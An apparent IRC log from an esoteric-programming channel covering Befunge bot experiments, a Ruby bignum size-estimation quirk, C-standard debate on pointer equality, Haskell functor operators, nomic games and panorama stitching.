20:42:05 <fizzie> Apropos nothing: GMP has a feature where it can leave some amount of bits at the top of each limb; these bits are called nails.
20:42:09 <b_jonas> uh... what language is that?
20:42:26 <b_jonas> fizzie: yes, it does that for some performance reasons on some systems
20:43:06 <b_jonas> that punctuation stuff like :~\p ?
20:43:29 <fizzie> It's just Befunge. Or Unefunge in this case.
20:48:35 <int-e> [ ] > (2^32 + 2^12) `div` 136 -- compare to 31580670; strange.
20:48:43 <int-e> > (2^32 + 2^12) `div` 136
20:49:38 <int-e> 136 = 8*17, and the 17 is a bit odd. (ok, it is odd, but that's not what I mean)
20:50:51 <int-e> > 31580670 `mod` 8
20:52:13 -!- DootBot has quit (Remote host closed the connection).
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20:52:33 <DootBot> Befunge-98 successfully toggled.
20:52:45 <DootBot> Befunge-98 successfully toggled.
20:52:49 <DootBot> TieSoul: ... (Too much output or non-terminating program.)
20:53:13 -!- DootBot has quit (Remote host closed the connection).
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20:53:55 <impomatic_> TIL I can buy Baklava over the internet! I never need to leave the house again...
20:53:57 <DootBot> int-e: Commands I want the gone put! doot thats FOR yeah, mega? supised 0"Y+A+Y">:#,_@ liria time than can fault nutshell make!
20:54:33 <DootBot> int-e: Source: https://gist.github.com/TieSoul/06fe15a20084430a8d12
20:54:52 <int-e> TieSoul: does it know about lambdabot now?
20:58:22 <fizzie> What does "toggling" mean in this context?
20:59:09 <TieSoul> toggle whether or not the bot responds to (and executes) funge commands
21:01:14 -!- DootBot has quit (Remote host closed the connection).
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21:03:33 <DootBot> Befunge-98 successfully toggled.
21:03:38 <DootBot> Befunge-98 successfully toggled.
21:04:19 -!- DootBot has quit (Remote host closed the connection).
21:05:09 -!- DootBot has joined.
21:05:17 <DootBot> Befunge-98 successfully toggled on.
21:05:22 <DootBot> Befunge-98 successfully toggled off.
21:05:25 <DootBot> Befunge-98 successfully toggled on.
21:05:34 <DootBot> Befunge-98 successfully toggled off.
21:05:40 <DootBot> TieSoul: ... (Too much output or non-terminating program.)
21:06:08 -!- DootBot has quit (Remote host closed the connection).
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21:07:55 <int-e> lovely. https://github.com/ruby/ruby/blob/trunk/bignum.c#L6282
21:09:35 <olsner> I like how it seems to output a warning that the result *might* be too big, then continues
21:09:45 <olsner> and do some unexplained float math?
21:11:34 <int-e> that's "fine" ... it produces Inf later on. ;-)
21:16:30 <TieSoul> Funge is toggled off guys, just so you don't try to DoS me with it
21:16:39 <int-e> but I still don't get how 33554432 becomes 32537661, about 32/33 * 2^25...
21:17:17 <int-e> TieSoul: why don't you just set some ulimit? surely ruby can do that in a sane way...
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21:22:47 <DootBot> TieSoul: Execution timed out.
21:23:08 <TieSoul> !befunge98 "egnufeB">:#,_@
21:23:21 <DootBot> TieSoul: Execution timed out.
21:23:40 <TieSoul> I set a timeout time of 4 seconds
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21:25:45 <DootBot> TieSoul: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 (Execution timed out.)
21:26:08 <DootBot> TieSoul: 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 (Execution timed out.)
21:28:19 <DootBot> TieSoul: (Execution timed out.)
21:28:19 <DootBot> TieSoul: (Execution timed out.) (Execution timed out.)
21:28:20 <DootBot> TieSoul: (Execution timed out.) (Execution timed out.) (Execution timed out.)
21:28:21 <DootBot> TieSoul: (Execution timed out.) (Execution timed out.) (Execution timed out.) (Execution timed out.)
21:28:21 <DootBot> TieSoul: (Execution timed out.) (Execution timed out.) (Execution timed out.) (Execution timed out.) (Execution timed out.)
21:28:22 <DootBot> TieSoul: (Execution timed out.) (Execution timed out.) (Execution timed out.) (Execution timed out.) (Execution timed out.) (Execution timed out.)
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21:30:15 <DootBot> TieSoul: 3 3 3 5 5 6 5 4 6 1 6 5 5 1 1 3 3 5 4 1 6 1 5 4 4 5 5 4 5 3 2 4 5 3 3 6 6 6 2 1 3 2 4 2 2 4 1 3 3 1 1 6 1 4 3 6 3 4 2 3 5 6 4 3 3 1 1 3 6 3 4 1 1 1 2 2 6 5 6 5 6 1 6 6 6 4 1 5 1 4 5 2 3 3 2 1 3 4 4 4 5 (Execution timed out.)
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21:31:21 <evalj> b_jonas: 2 2 6 5 3 6 4 5 4 3 4 2 1 2 4 3 1 3 1 5 4 3 2 1 6 3 6 2 6 5 5 4 6 5 2 2 5 4 5 4
21:31:31 <evalj> b_jonas: 2 1 6 4 6 6 1 5 2 3 4 5 1 6 6 4 6 3 2 1 2 4 4 3 2 6 4 3 2 2 5 3 1 3 5 4 1 1 5 1
21:33:58 <evalj> b_jonas: 3 3 5 3 3 2 2 4 5 6 3 5 2 5 4 2 2 2 4 2 2 2 4 3 6 3 4 5 6 2 4 2 5 4 4 5 1 4 4 4 6 2 5 6 1 3 1 6 4 3 1 4 3 6 1 3 4 6 4 2 2 1 2 4 2 6 1 2 4 2 4 4 1 1 1 3 2 6 4 1 1 4 5 4 4 2 3 4 5 4 2 4 4 2 6 5 5 1 6 1 6 4 6 5 5 4 5 5 5 4 6 2 3 4 4 1 6 2 3 5 1 6 4 5 4 4 2 6 2 3 2 1 4 2 2 1 6 5 4 2 6 1 4 3 6 2 1 5 4 2 6 5 3 1 2 3 3 4 3 5 4 2 4 4 4 4 3 2 3 6 5 5 4 2 5 6 4 3 1 6 2 5 1 1 3 6 4 6 2 2 3 6 ...
21:35:22 <b_jonas> ] '(Execution timed out.)',~":1+?6$~123
21:35:23 <evalj> b_jonas: 4 3 1 4 3 4 6 6 5 6 4 6 3 1 3 3 1 6 6 4 1 6 4 6 4 1 1 2 5 1 3 5 6 5 1 2 2 1 2 5 4 4 4 6 6 3 2 1 1 3 4 6 5 2 3 1 3 3 2 3 3 5 2 1 1 6 3 6 3 4 6 3 3 1 1 1 1 3 5 6 4 1 6 6 3 5 3 1 6 1 6 3 5 5 5 1 2 4 5 3 2 4 2 6 2 2 5 4 4 1 1 2 2 5 2 6 6 1 3 3 1 1 6(Execution timed out.)
21:35:33 <b_jonas> ] ' (Execution timed out.)',~":1+?6$~123
21:35:33 <evalj> b_jonas: 1 2 5 3 6 3 4 5 4 6 4 1 6 2 4 3 3 1 5 3 4 5 3 4 2 6 6 1 6 5 2 1 1 6 2 4 6 4 4 4 1 2 5 3 1 6 4 3 5 4 2 2 6 1 5 4 2 6 2 3 3 5 3 3 3 3 3 4 6 3 1 5 5 5 2 6 4 2 6 5 4 3 4 3 3 6 2 5 2 3 3 6 6 6 2 4 1 4 2 1 6 3 4 5 5 5 5 3 4 3 2 6 6 4 1 1 1 3 2 5 6 4 1 (Execution timed out.)
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21:44:03 <int-e> hmm, lovely. "if (z != 1) v = rb_big_mul(rb_int2big(neg ? -z : z), v);" <-- if z were ever equal to 1, the code would be incorrect (namely, if neg is set as well) ... however, z never equals 1 at this point. So what's the 'if' doing there ...
21:51:25 <int-e> anyway, when calculating 2^n, ruby first starts calculating with 'longs', until they overflow, then switches to bignums. so it ends up calculating (2^16)^(n `div` 16) or (2^32)^(n `div` 32), and then it estimates the number of bits in the result by multiplying the number of bits for 2^16 (2^32) by the exponent: 17*(n `div` 16) and 33*(n `div` 32), respectively. It punts if there are more than 32 * 1024 * 1024 bits by that...
21:51:48 <olsner> I think it's there to plant seeds of doubt, you get there knowing z can't be 1, but leave merely thinking it shouldn't be
21:53:07 <olsner> I'd expect the number of bits in 2^n to be a bit easier to estimate
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21:53:44 <int-e> olsner: yes, it plants seeds of doubts; without the 'if', the code is more obviously correct than with the 'if'.
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21:56:21 <fizzie> !befunge98 4;>;#+?$#;2;>;#+?$#;1;>;#+?$#;1+:6`!;>;#._$#;
21:56:26 <DootBot> fizzie: 6 1 6 6 5 2 5 1 4 2 3 4 5 4 4 1 2 6 2 6 4 4 5 6 3 2 6 3 1 5 2 4 1 1 4 2 5 4 5 5 3 6 1 6 1 1 4 1 1 6 5 6 1 1 6 2 3 4 1 3 2 4 1 2 3 4 6 4 3 1 3 3 2 3 3 2 4 1 4 6 5 6 2 5 3 2 5 6 4 1 4 2 6 3 5 4 3 5 5 1 5 (Execution timed out.)
21:57:32 <Bike> does the semicolon indicate a linebreak or is that just a straight line of code
21:57:57 <fizzie> The semicolon is the cheating-person's "jump to next semicolon" instruction, however.
21:58:08 <fizzie> (Spoiler: uniform distribution for [1,8] based on three binary decisions, then rejection sampling to get [1,6].)
22:01:57 <fizzie> (A block like ;>;#X?Y#; does either X or Y with even odds.)
22:05:39 -!- oerjan has joined.
22:16:40 <int-e> > ((32*1024*1024) `div` 17 .|. 1) * 16 + (16-1)`div`2*2 - 1
22:17:02 <int-e> > ((32*1024*1024) `div` 33 .|. 1) * 32 + (32-1)`div`2*2 - 1
22:17:41 <int-e> that's the maximum exponents for 2**n that work with ruby for 32 and 64 bit platforms, respectively.
22:18:37 <int-e> (oh, and that's ignoring the integer overflows in the code)
22:20:14 <int-e> so for (2**32)**558992244657865203 it "happily" starts crunching numbers.
22:20:56 <int-e> and running out of memory (that's for 64 bit ruby, but a similar idea works for the 32bit one)
22:22:50 <int-e> Bike: in the estimation of the number of bits in the result, here: https://github.com/ruby/ruby/blob/trunk/bignum.c#L6284-L6289
22:23:32 <Bike> that's not legal, is it
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22:24:34 <fizzie> size_t is an unsigned type, and conversion from signed to unsigned is well-defined, and defined in terms of the mathematical value.
22:24:46 <fizzie> Though SIZE_MAX would be more obvious.
22:24:55 <Bike> yeah i was just gonna ask.
22:25:15 <fizzie> At least it's not ~(size_t)0.
22:25:39 <fizzie> (A number of C programmers won't even know what the ~ operator does.)
22:25:56 <elliott_> int-e: did you know ruby's GC depends heavily on C undefined behaviour and miscompiles when compilers use certain common optimisations?
22:26:20 <int-e> conversion to unsigned integers is defined as taking the value modulo 1+ the unsigned integer's maximum value.
22:26:43 <int-e> elliott_: I'm not surprised
22:26:49 <Bike> see, when i think of GC with undefined behavior, i think of that gc code that pulls register values out of a jmp_buf
22:27:18 <elliott_> http://timetobleed.com/the-broken-promises-of-mrireeyarv/
22:30:31 <int-e> elliott_: though some of the undefined behaviour that gcc took advantage of for a while heavily bit the linux kernel folks, who generally know what they're doing. (I guess C is too high-level for kernel code.)
22:31:15 <Bike> i'm gonna be using a PIC C compiler in class this term, i'm excited to learn how standard conformant it is
22:31:26 <int-e> elliott_: so I can sympathize with people relying on some undefined behaviour. For example, it's a useful assumption that pointer comparison gives a total order, but C will not give you that guarantee.
22:32:51 <int-e> (and I'm sure there are architectures that have separate memory based on data types, so that equally represented pointers point to different things)
22:33:39 <elliott_> int-e: yeah, C is sort of in a bad position.
22:33:41 <int-e> or just separate code and data with the same effect.
22:33:52 <elliott_> int-e: I'm not actually sure what the language compiled by gcc/clang these days is useful for.
22:33:59 <Bike> yeah it's weird
22:34:02 <elliott_> (when you run into UB, that is)
22:34:20 <elliott_> I guess you can write high-performance crunching code that doesn't do anything too platform-specific and it's good for that.
22:34:27 <elliott_> but I'm really not sure what the target market is, exactly.
22:34:34 <Bike> like i'm not much of a hardware hacker but as far as i can tell everybody in python/whatever reasonably thinks that C doesn't work for their application, and everyone doing shit with memory has to fight C at every turn
22:34:59 <elliott_> int-e: is that separate pointers thing allowed in C? you can go via intptr_t and stuff
22:35:34 <int-e> elliott_: hmm, not for dynamically allocated stuff, I guess. But for static arrays, I see no reason why not.
22:35:43 <elliott_> Bike: C is none of the safety with none of the power :)
22:36:11 <int-e> elliott_: since comparisons between pointers that point to different memory blocks (separately allocated, not sure what the precise term is in the C standard) are undefined.
22:36:23 <Bike> aforementioned class's professor only mentioned C and C++ as programming languages, to the predominantly EE audience
22:36:33 <elliott_> int-e: even if you cast to intptr_t first?
22:36:51 <elliott_> int x[100]; char y[100]; int main() { return ((intptr_t) x) == ((intptr_t) y); }
22:37:12 <elliott_> I... guess it could be allowed, but...
22:37:27 <elliott_> int-e: what about (char *) (intptr_t) x?
22:37:32 <int-e> I'd have to check whether there's any guarantee about accessing (char*) ...
22:37:41 <elliott_> but you're allowed to read an (int *) as a (char *).
22:37:49 <elliott_> I don't know whether you're allowed to cast through intptr_t like that.
22:38:17 <elliott_> (((char *) x) might demonstrate the point, but you could just say that gives you a different pointer to y, maybe.)
22:38:21 <int-e> elliott_: and of course there's no guarantee that those casts don't change the representation of the pointer.
22:38:46 <Bike> it's good to have access to the raw metal.
22:39:00 <elliott_> int-e: right... maybe ((void *) x) and ((void *) y) could have tag bits, and ints and chars only get a small amount of the address space
22:39:24 <fizzie> char * and void * are guaranteed to have the same representation.
22:40:30 <int-e> elliott_: more reasonably, pointer comparison might be implemented by just comparing the lower word of a two-word representation, and it may be conformant. (think DOS "large" model with segment/offset representation)
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22:41:06 <fizzie> As for comparing two pointers converted to intptr_t, I'm sure that's *legal* in the sense that you can compare two integers, but you can directly compare two pointers *for equality* anyway.
22:41:25 <FreeFull> Swapping (something) mod N #= 0 for something #= N*_ made my code 3 times faster :D
22:41:49 <int-e> fizzie: but is there a guarantee that p == q implies (intptr_t)p == (intptr_t)q?
22:42:01 <fizzie> I don't know, but why would you do that instead of p == q?
22:42:41 <Bike> fizzie we're deep in lawyering now, you can't ask "why would you" questions
22:42:46 <int-e> fizzie: to get an actual pointer comparison, maybe, if that's possible?
22:42:48 <Bike> that's just gauche
22:43:28 <fizzie> I mean, the original question was just about comparing pointers to different objects, and for == and != that's fine.
22:43:36 <int-e> presumably (intptr_t)p == (intptr_t)q implies that p and q point to the same thing in memory, provided that they have the same type (but not vice versa)
22:44:16 <fizzie> The conversion to intptr_t is only defined from a pointer to void.
22:44:59 <int-e> T *p; p == (T *)(void *)p is ensured, you can cast to (void *) and back.
22:45:23 <int-e> and then p == (T *)(void *)(intptr_t)(void *)p follows.
22:46:27 <fizzie> "Two pointers compare equal if and only if both are null pointers, both are pointers to the same object -- or function, both are pointers to one past the last element of the same array object, or one is a pointer to one past the end of one array object and the other is a pointer to the start of a different array object that happens to immediately follow the first array object in the address ...
22:46:48 <fizzie> I don't think (intptr_t)(void *)p == (intptr_t)(void *)q is any different from (void *)p == (void *)q.
22:46:59 <Bike> huh, i didn't know there was even an address apce concept exactly
22:47:02 <fizzie> Except if the optional intptr_t type does not exist.
22:47:38 <Bike> i guess i should figure out how much of this rust avoids
22:49:03 <fizzie> The trimmed-out part was "same object (including a pointer to an object and a subobject at its beginning)".
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22:51:54 <int-e> fizzie: Interesting. The "only if" is new w.r.t. C99.
22:53:39 <oerjan> --- quit: boily (Quit: MAKALÖSE CHICKEN) <-- i seem to be having an effect on boily
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22:57:17 <lambdabot> tswett said 8h 14m 26s ago: Well, when you select from a continuous distribution, the probability of getting any particular number is 0, so you could say that the sum of uncountably many 0s can be 1.
22:57:56 <Bike> actually a friend of mine wrote about exactly that in a blogpost today. weird
22:58:24 <fizzie> I'm not sure if the "void * and char * have the same representation -- [which is] meant to imply interchangeability as arguments to functions, return values from functions, and members of unions" rules mean that for T *p, p == (T *)(char *)(void *)p is also guaranteed, and that the conversion to void * is required to yield an identical representation than a conversion to char * for the same ...
22:58:42 <fizzie> p == (T *)(char *)(T *)(void *)p is obviously true.
22:59:57 <oerjan> @tell tswett Rather, we say that measures are not uncountably additive.
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23:03:14 <int-e> fizzie: I would go out on a limb and call 6.5.9.6 (Two pointers compare equal etc.) wrong; for comparison, look at all the cases that 6.5.8.5 (When two pointers are compared, etc.) leaves undefined...
23:03:43 <fizzie> But that's for an entirely different set of comparison operators.
23:04:09 <int-e> Adding the "only if" was just a quick way to fend off the idea of implementing pointer equality as always giving true.
23:04:09 <fizzie> You can't require relational operators and equality operators to have the same rules.
23:07:44 <int-e> fizzie: Ok, let me argue differently: How is a compiler supposed to implement that definition? As stated, the comparison operator has to figure out whether a pointer points to some object or not; p == p is only true if p actually points to something (or is a null pointer).
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23:11:24 <HackEgo> [U+2ADA PITCHFORK WITH TEE TOP]
23:12:36 <DootBot> TieSoul-mobile: Hello atriq
23:13:00 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: whois: not found
23:13:05 <HackEgo> â&}Fðqu¾ÃÔÔrÙJo,U¼ø©áwS9i×ù\B |©Ai6"Ãòø¼øîÕÞéÛ~wñ|:Öÿpoµqì=@g5sr©©ÃwCõTÞk$ȼLÑgÚ\¾&§]ykL1lí¥ú{OF±^ì[B)Ô÷àøíl[#ÒØ8lÜ¡}"ß7²ÁÖà'wO~]tÖEvìÎÖeA×碷e:Cv¥!¼¹¹ËêôyFÙ×Ðm!KUÔ¯§òßOËL²Újg£î4è ÖÏ×»KgxÙû¡ÖæÀõUWòB)¶óéñ0ò¡¡ûl~zÈìá£~n!RÒÞ)n+àFÊlGÒG0ZÊ/ð`).x0öl!h§-ñÏJíâµÎð°£%9@Ô~ñ¨¬É¹s¸I¥?aJ
23:13:09 <DootBot> TieSoul-mobile: Log: http://sprunge.us/YVIT
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23:29:13 <fizzie> int-e: Well. There seems to be no way of a strictly conforming program to construct a pointer value that wouldn't be null or point to an object without risking undefined behavior, so you could vaguely argue that p == p need not make that determination. (If it was a pointer to an object that has reached the end of its lifetime, its value has now become indeterminate, and p == p is undefined; if ...
23:29:19 <fizzie> ... it was constructed by manipulating the bits of the representation, there's no way to be sure it is not a trap representation.)
23:29:22 <fizzie> int-e: But I do agree the "only if" is a bit dubious. Still, I think they at least wanted to imply that "p == q" should never be true if p and q point to different objects.
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23:33:31 <atriq> boily: my bouncer, which for one reason or another I am not using, is playing up
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23:33:55 <fizzie> C89 draft has: "If two pointers to object or incomplete types compare equal, they point to the same object. If two pointers to functions compare equal, they point to the same function. If two pointers point to the same object or function, they compare equal."
23:33:59 <fizzie> With a relatively silly footnote "40. If invalid prior pointer operations, such as accesses outside array bounds, produced undefined behavior, the effect of subsequent comparisons is undefined."
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23:40:55 <boily> atriq: outrageous.
23:40:55 <int-e> fizzie: yes, I agree that they probably intended that. I've found another obstacle to the typed memory idea (without tagging the pointers somehow): memcpy works on memory representations of objects (6.2.6.1.4). so I guess that leaves the (not too unusual) code/data separation.
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23:41:47 <oerjan> <TieSoul> though that one only goes two days back <-- i think he meant searchable logs. the tunes logs are still doing fine otherwise.
23:42:21 <oerjan> and presumably the codu logs will be fine if gregor ever returns
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23:43:14 <fizzie> int-e: Yes, I think you need to tag char *s and void *s; but I think you can get some leverage out of the different memory spaces, so that an int *p and double *q can have identical memory representations while pointing at different objects. (You might need to stick unions into some lowest-common-denominator memory space, and make the tagged-char-pointer comparison operation slightly hairy.)
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23:44:14 <fizzie> Because for union { int i; double d; } u you must have (char *)&u.i == (char *)&u.d.
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23:45:26 <fizzie> (All the oodles of code freely dlsym'ing out functions through void * straws might object to the code/data separation too.)
23:46:02 <fizzie> POSIX did guarantee conversion of function pointers to void * and back, IIRC.
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23:49:26 <fizzie> The "Embedded C" standard adds the concept of named address spaces, though it's orthogonal to the type specifiers; they're just additional type qualifiers.
23:49:56 <oerjan> `addquote <impomatic_> TIL I can buy Baklava over the internet! I never need to leave the house again...
23:49:57 <HackEgo> 1216) <impomatic_> TIL I can buy Baklava over the internet! I never need to leave the house again...
23:50:25 <fizzie> Those address spaces can nest, and a pointer to a type qualified with one can point to objects in that or in all the subset address spaces.
00:03:45 <atriq> Also, aaaah I don't have access to a computer from which I can comfortably program
00:04:17 <elliott_> tromp: me too (programming is uncomfortable)
00:05:19 <atriq> Well, we can not program comfortably together, or something
00:06:13 <elliott_> atriq: I'm not ready for that kind of commitment
00:07:08 <atriq> elliott_: :( but I understand
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00:39:20 <boily> hellørjan. I'm now stuck with the makalösa manicken in my head, and discovered the Real Group by the same occasion the other day.
00:40:29 <boily> @tell impomatic congrats! your first real quote in the Infamous PDF!
00:41:25 <atriq> Does anyone have any advice on starting a nomic?
00:42:23 <atriq> TwoSwords: great, that's step 1 complete
00:42:38 <boily> atriq: shuffle a few decks of apples to apples and fluxx and CAH and bridge together, with a few tarot major arcana mixed in for good form.
00:44:22 <atriq> TwoSwords: great, I can do that
00:44:48 <int-e> boily: "impomatic never did anything weird enough to get into this database." <-- change "never" to "once" ;-)
00:46:25 <HackEgo> impomatic never did anything weird enough to get into this database.
00:47:17 <boily> int-e: ain't gonna happen. otoh, I can add an additional footnote hth
00:47:28 <atriq> int-e: if you think of something better feel free
00:47:41 <atriq> `? Taneb # is my main nick
00:47:41 <HackEgo> Taneb # is my main nick? ¯\(°_o)/¯
00:47:47 <atriq> `run ? Taneb # is my main nick
00:47:48 <HackEgo> bash: a: command not found
00:47:51 <atriq> `run \? Taneb # is my main nick
00:47:51 <HackEgo> Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards, and five genders. (See also: tanebventions)
00:48:42 <boily> int-e: there, a footnote.
00:49:03 <TwoSwords> Nope. I remember seeing someones archived game (looked well kept) maybe a week ago. But I cannot remember the link.
00:49:26 <atriq> Apache Wave would be a great tool for Nomic
00:49:36 <atriq> Apache Wave would be great if anyone used it :(
00:50:11 <atriq> I miss google wave :(
00:50:35 <atriq> int-e: thanks, but it's not the same
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00:51:15 <boily> and that reveals that some smartfungot out there uses the google /nick éhontément.
00:51:16 <fungot> boily: look at everything2.com at the toplevel? you're just looking for a paper. it's too simple, yet.
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00:54:36 <fungot> TieSoul-mobile: am i missing something? is it happening through some automatic update of the site is pretty fucked up: http://www.misterkitty.org/ extras/ stupidcovers/ fnord
00:54:36 <DootBot> TieSoul-mobile: !befunge it's scary those? know! 438 "olleH">:#,_@ not gonna Iwam the tired, size things /me for.
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00:55:55 <fungot> int-e: making its author like looking like a random windows glitch
00:56:13 <Daan> wait found it.
00:56:20 <Daan> http://agora-notary.wikidot.com/
00:56:21 * boily mapoles int-e. “don't diss the Fungot!”
00:57:14 <int-e> boily: it did use the f-word, I was merely defeding myself.
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00:59:37 <oerjan> boily: *MWAHAHAHAHAHA* (det är en evighetskmaskin!)
01:02:51 <oerjan> int-e: technically the wisdom and the quotes are not the same database hth
01:06:10 <oerjan> darn he left before i could tell em agora is still alive
01:06:46 <atriq> Agora is still alive!?
01:07:13 <atriq> Also what is that loud beeping noise
01:07:20 <oerjan> although it's having trouble filling its offices lately
01:07:53 <oerjan> hm that may be the universe warning you not to let me suck you into agora. (i'm just watching btw.)
01:08:46 <boily> atriq: what kind of beeping? you'll have to be more precise hth
01:08:54 <atriq> It may be a fire alarm
01:09:05 <atriq> At family house, they've made changes
01:09:07 <boily> then it's a Maybe Fire Alarm.
01:09:10 <atriq> Like having a fire alarm
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01:22:16 <oerjan> <oerjan> darn he left before i could tell em agora is still alive
01:23:47 <Daan> A game or the community. Either would be impressive.
01:24:23 <oerjan> well people come and go
01:24:31 <elliott_> that site is just a site to track the contracts that was used by a recordkeeper once
01:24:36 <elliott_> it's not an archive of the game proper or anything
01:25:05 <oerjan> elliott_ was a player until recently
01:25:22 <oerjan> i'm on the lists but just watching
01:26:23 <oerjan> www.agoranomic.org is more official
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01:45:41 <boily> time to plastify my teeth. 'night all!
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01:51:52 <oerjan> don't question boily's sanity-preserving measures tdnh
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02:00:40 <int-e> ^v: perhaps boily prefers grinding plastic over grinding teeth
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03:43:42 <shachaf> fizzie: aren't finnish wild strawberries delicious
03:43:49 <shachaf> so much better than other strawberries
03:45:10 <Sgeo_> I want to sing a song about mono-traversable to the same tune as Mother Necessity
03:46:13 <Sgeo_> A flat-bottomed boat with a blunt bow?
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07:18:11 <Sgeo_> data (f :|: g) x = L (f x) | R (g x)
07:18:24 <Sgeo_> Looks so much like a function definition
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07:27:15 <myname> wait, that's actually possible?
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07:30:01 <shachaf> Haskell functors are even a monoidal category with (:+:) and Void1
07:30:11 <shachaf> (And also with :*: and Proxy.)
07:30:41 <shachaf> That was probably not helpful to say.
07:31:47 <coppro> myname: operators which start with : are reserved for types
07:33:26 <myname> what does :*: does there? f . g x?
07:33:43 <J_Arcane> shachaf: as an american I find the native Finnish berries sometimes more sour than I really expect.
07:34:03 <shachaf> :*: is product, (f x, g x)
07:34:15 <shachaf> :.: is composition, f (g x)
07:34:31 <shachaf> That one makes a monoidal category too. But everyone knows that one.
07:34:40 <shachaf> :+: is sum, Either (f x) (g x)
07:35:17 <myname> i don't get the difference between + and | in that context
07:35:50 <shachaf> No difference. That's why I said I would call it :+:
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08:41:23 <Tahetark> Are there any cellular automatas made to efficiently simulate a turing machine?
08:42:08 <Tahetark> By efficiently I mean, fast and with reasonably small space, Conway's turing machine looks kind of slow
08:42:18 <Ando> Don't know about efficiently, but Wolfram has done a lot of work in that araa.
08:42:40 <Ando> yeah, conway is awful for that.
08:43:26 <Ando> I think rule... 130 (1d ca is turing capable)
08:46:20 <Ando> http://mathworld.wolfram.com/UniversalCellularAutomaton.html best place to look.
08:46:45 <coppro> ugh, one of these days I need to buckle down and write some automata
08:47:07 <Ando> or evolve them
08:47:20 <coppro> evolve finite tree automata?
08:47:34 <coppro> I know what I need to do. It's just going to be pain
08:47:51 <Ando> easiest thing in the world, as long if you have all the time in the world
08:48:02 <coppro> actually should probably write some computer code for this
08:48:03 <Ando> what's your goal?
08:48:23 <coppro> to understand equation systems defining minor-closed classes of graphs
08:48:36 <coppro> to do this I need to produce some, and to do that I need to generate some automata
08:48:53 <coppro> (for any but the most trivial of classes)
08:49:11 <Ando> sounds complicated.
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10:08:45 <impomatic_> What's the name for a binary tree where all leaf nodes are the same distance from the root?
10:15:09 <impomatic_> Thanks, that seems to fit the description.
10:19:44 <Tahetark> it's sad that we don't use fruit metaphors for trees
10:25:09 <fizzie> The full/perfect/complete triplet gets slightly mixed up by different authors, I believe.
10:32:44 <Tahetark> \o/ $37.95 to read one article
10:34:41 * impomatic_ attempts to describe a Core War binary imp launch in terms of a perfect binary tree!
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10:44:58 <shachaf> data Froo f a = Pure a | Froo (Froo f (f a))
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13:00:21 <Melvar> < shachaf> :.: is composition, f (g x) – ↑
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17:00:06 <TieSoul> !brainfuck ++++++++++++++++++++++++++++.
17:00:10 <TieSoul> !brainfuck ++++++++++++++++++++++++++++++++++++++++++.
17:00:16 <TieSoul> !brainf*** ++++++++++++++++++++++++++++++++++++++++++.
17:00:21 <TieSoul> !brainfart ++++++++++++++++++++++++++++++++++++++++++.
17:00:27 <TieSoul> !brainflip ++++++++++++++++++++++++++++++++++++++++++.
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18:28:09 <DootBot> 1577721810442023610823457130565572459346412870218046009540557861328125
18:28:46 <TieSoul> rb> "Hello" + 523.chr('UTF-8')
18:38:59 <Melvar> I was hoping 1.0 would be a method call, but looks like it’s not.
18:39:29 <TieSoul> rb> dootbot.part('#esoteric')
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19:22:50 <TieSoul> try to break dootbot by using rb> commands
19:22:50 <DootBot> TieSoul: doot yaybot, want bider. head. Yaybot that? YayBot she's metronome? Lol :P fight about a as anyway...
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19:26:03 <olsner> doesn't seem to do anything
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19:32:32 <J_Arcane> rp> # print "I wish you were lisp"
19:32:37 <J_Arcane> rb> # print "I wish you were lisp"
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19:32:59 <DootBot> 29512665430652752148753480226197736314359272517043832886063884637676943433478020332709411004889
19:33:16 <TieSoul> rb> (1..10).to_a.inject(:*)
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20:05:49 <coppro> does anyone know any good libraries for working with automata (e.g. DFAs, NFAs)
20:13:19 -!- Daan has joined.
20:13:38 <Phantom_Hoover> i know sam hughes used something for his regex and-er thing, but he may have written it himself
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20:15:48 <coppro> yeah, I'm looking to do some transformations on automata, tree automata specifically
20:17:16 <coppro> assuming I have to write the code myself, I am trying to decide between going Agda, which would be awesome and I'll regret, Haskell which will lead to runtime errors, or C++ which would be awesome and I'll regret for entirely different reasons
20:24:29 <fizzie> There's that one Java thing, JFLAP.
20:24:39 <fizzie> I don't know if it's for good for any serious use.
20:25:20 <fizzie> Also possibly not so relevant for tree automata.
20:25:23 <HackEgo> [wiki] [[Special:Log/newusers]] create * AndoDaan * New user account
20:26:15 <Daan> Hey, that's me... wtf
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20:27:27 <fizzie> I was going to add a note on Esolang:Community_portal that the wiki RC feed is also on #esoteric these days.
20:30:09 <fizzie> @tell Vorpal More of those always-as-interesting hotel room views: https://dl.dropboxusercontent.com/u/113389132/Misc/20140827-scandic_tampere_station.jpg
20:32:29 <olsner> does that window say beer and billiards?
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21:43:58 <Vorpal> fizzie, kind of grey isn't it?
21:44:20 <Vorpal> fizzie, but I can't spot the seams, so that is good
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21:57:02 <int-e> I see one, two, three seams, but not easy to find.
22:02:57 -!- Ando has quit (Ping timeout: 246 seconds).
22:03:11 <int-e> http://int-e.eu/~bf3/tmp/seam.jpg
22:03:19 -!- Daan has joined.
22:03:43 <fizzie> int-e: Yeah, I didn't spend too long with it.
22:05:08 <int-e> it works well enough anyway :)
22:05:35 -!- Patashu has joined.
22:07:22 <fizzie> Also from the same trip: https://dl.dropboxusercontent.com/u/113389132/Misc/20140827-bridge1.jpg https://dl.dropboxusercontent.com/u/113389132/Misc/20140827-bridge2.jpg
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22:14:25 <int-e> wow, I imagined this to be *much* more perceptible. http://int-e.eu/~bf3/tmp/waterseam.jpg
22:15:04 <int-e> (using curved lines is a nice touch)
22:15:32 <fizzie> It's all entirely automatical, blended with enblend.
22:17:23 <fizzie> In https://dl.dropboxusercontent.com/u/113389132/Misc/20140827-scandic_pori.jpg it has opted to cut a car in half.
22:18:37 <int-e> pity about the messed up sign in https://dl.dropboxusercontent.com/u/113389132/Misc/20140827-bridge2.jpg
22:19:21 <fizzie> Heh, I didn't even notice that, since the outlines were okay.
22:19:27 <int-e> (also something is off with the lighting in the rightmost picture)
